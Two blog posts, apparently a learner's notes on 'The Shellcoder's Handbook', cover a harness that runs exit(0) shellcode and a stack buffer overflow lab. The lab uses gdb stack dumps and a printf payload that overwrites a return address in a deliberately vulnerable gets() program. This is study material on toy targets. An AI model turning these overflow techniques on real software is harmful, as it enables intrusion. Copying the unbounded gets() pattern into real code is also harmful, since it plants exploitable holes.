Showing posts with label gdb. Show all posts
Showing posts with label gdb. Show all posts

Wednesday, June 10, 2009

Chapter 3, "Shellcode," and a slightly buggy wack.c on page 46

On page 46, the question is posed, "how do you really know your shellcode is getting run?" The solution presented is to use strace. The example wack.c in the text is dutifully strace'd to exit(0) at the bottom of the page.

Sadly, this is not the case for me. Behold:

todb@mazikeen:~/dev/sc/ch03$ strace ./wack
execve("./wack", ["./wack"], [/* 45 vars */]) = 0
uname({sys="Linux", node="mazikeen", ...}) = 0
brk(0) = 0x8c85000
brk(0x8c85cb0) = 0x8c85cb0
set_thread_area({entry_number:-1 -> 6, base_addr:0x8c85830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x8ca6cb0) = 0x8ca6cb0
brk(0x8ca7000) = 0x8ca7000
exit_group(135016456) = ?
Process 9231 detached
So, I'm getting an exit_group(some number) getting called instead of my lovingly hand-coded exit(0). At first, I assumed that gcc is doing some kind of compile-time fixup on my shellcode. However, after Googling around for some ideas on what's up with this, I came across Introduction to Writing Shellcode, which is nearly identical to the exercise here in Chapter 3, except the type casting the shellcode[] arry as a function is approached somewhat differently -- and has some very useful comments for a C n00b like myself.

Also, the phiral.net textfile has a handy pointer to the gdb method of verifying shellcode. Here's my screen dump of that:

todb@mazikeen:~/dev/sc/ch03$ gcc -g wack.c -o wack
todb@mazikeen:~/dev/sc/ch03$ gdb wack
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas shellcode
Dump of assembler code for function shellcode:
0x0804a010 : mov $0x0,%ebx
0x0804a015 : mov $0x1,%eax
0x0804a01a : int $0x80
0x0804a01c : add %al,(%eax)
End of assembler dump.
(gdb)
This is handy, because I was getting the same results from the disas shellcode as I was with the more broken version -- which isn't surprising, since my shellcode was, in fact, sound, I just wasn't invoking it right.

Here's the fixed wack.c, in case the phiral.net text goes away:

todb@mazikeen:~/dev/sc/ch03$ cat wack.c
char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";

int main()
{
int (*ret)();
ret = (int (*)())shellcode;
(int)(*ret)();
}
And here's my much more satisfying strace:

todb@mazikeen:~/dev/sc/ch03$ gcc -static wack.c -o wack
todb@mazikeen:~/dev/sc/ch03$ strace ./wack
execve("./wack", ["./wack"], [/* 45 vars */]) = 0
uname({sys="Linux", node="mazikeen", ...}) = 0
brk(0) = 0x919d000
brk(0x919dcb0) = 0x919dcb0
set_thread_area({entry_number:-1 -> 6, base_addr:0x919d830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x91becb0) = 0x91becb0
brk(0x91bf000) = 0x91bf000
_exit(0) = ?
Process 10218 detached

Thursday, April 9, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23

So, first off, I've downloaded the real code examples from Wiley, here. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.

Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
(gdb) disassemble return_input 
Dump of assembler code for function return_input:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x24,%esp
0x080483fa : lea -0x1e(%ebp),%eax
0x080483fd : mov %eax,(%esp)
0x08048400 : call 0x8048308
0x08048405 : lea -0x1e(%ebp),%eax
0x08048408 : mov %eax,(%esp)
0x0804840b : call 0x8048328
0x08048410 : leave
0x08048411 : ret
End of assembler dump.
(gdb) break *0x08048400
Breakpoint 1 at 0x8048400: file overflow.c, line 4.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file overflow.c, line 6.
(gdb) run
Starting program: /home/todb/dev/sc/overflow

Breakpoint 1, 0x08048400 in return_input () at overflow.c:4
4 gets (array);
(gdb) disas main
Dump of assembler code for function main:
0x08048412 : push %ebp
0x08048413 : mov %esp,%ebp
0x08048415 : call 0x80483f4
0x0804841a : mov $0x0,%eax
0x0804841f : pop %ebp
0x08048420 : ret
End of assembler dump.
(gdb) x/20x $esp
0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838
0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b
0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
(gdb) continue
Continuing.
111111111122222222223333333333ABCDEFGH
111111111122222222223333333333ABCDEFGH

Breakpoint 2, 0x08048411 in return_input () at overflow.c:6
6 }
(gdb) x/20x 0xbfc7b80c
0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131
0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333
0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
It took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflow
123456789012345678901234567890A
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow
123456789012345678901234567890AA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow
123456789012345678901234567890AAA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow
123456789012345678901234567890AAAA
Segmentation fault (core dumped)
At any rate, the exploit works just fine with the extra padding:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflow
123456789012345678901234567890AAAA�
123456789012345678901234567890AAAA�
Oh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).

Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.